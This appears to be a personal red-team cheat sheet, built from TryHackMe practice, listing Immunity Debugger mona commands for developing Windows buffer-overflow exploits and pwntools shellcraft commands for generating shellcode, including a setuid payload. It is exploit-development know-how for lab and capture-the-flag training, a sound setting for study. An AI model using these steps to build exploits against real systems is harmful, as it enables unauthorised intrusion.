Skip to main content



My version of the "Red Team Field Manual (RTFM)" for attacking boxes, learned from TryHackMe and other sources.

Mona modules

python scripts to use in Immunity Debugger for windows buffer overflows

# set mona work dir
!mona config -set workingfolder C:\Users\IEUser\Downloads\%p

# create a bytearray to compare for badchar checking (add your badchar list)
!mona bytearray -b "\x00"

# compare memory in crashed app to the bytearray
!mona compare -f C:\Users\IEUser\Downloads\chatserver\bytearray.bin -a 0022F930

# find a jump esp return address (add your badchar list)
!mona jmp -r esp -cpb "\x00"


A tool to create various shellcode payloads.


apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

Binary is installed to ~/.local/bin so add to your $PATH e.g. export PATH=$PATH:~/.local/bin or edit ~/.bashrc

Useful commands

# see available shellcodes
pwn shellcraft -l

# generate shellcode: -f[ormat] d[isasm] <payload>
# format: choose from
# 'r', 'raw', 's', 'str', 'string', 'c', 'h', 'hex', 'a', 'asm', 'assembly',
# 'p', 'i', 'hexii', 'e', 'elf', 'd', 'escaped', 'default'
pwn shellcraft -f d

# append shellcodes e.g. if you need a setuid bit run before a .sh
pwn shellcraft -f d amd64.linux.setuid 1000

pwn shellcraft -f d

## add them together:

Resource: hacktricks pwn shellcraft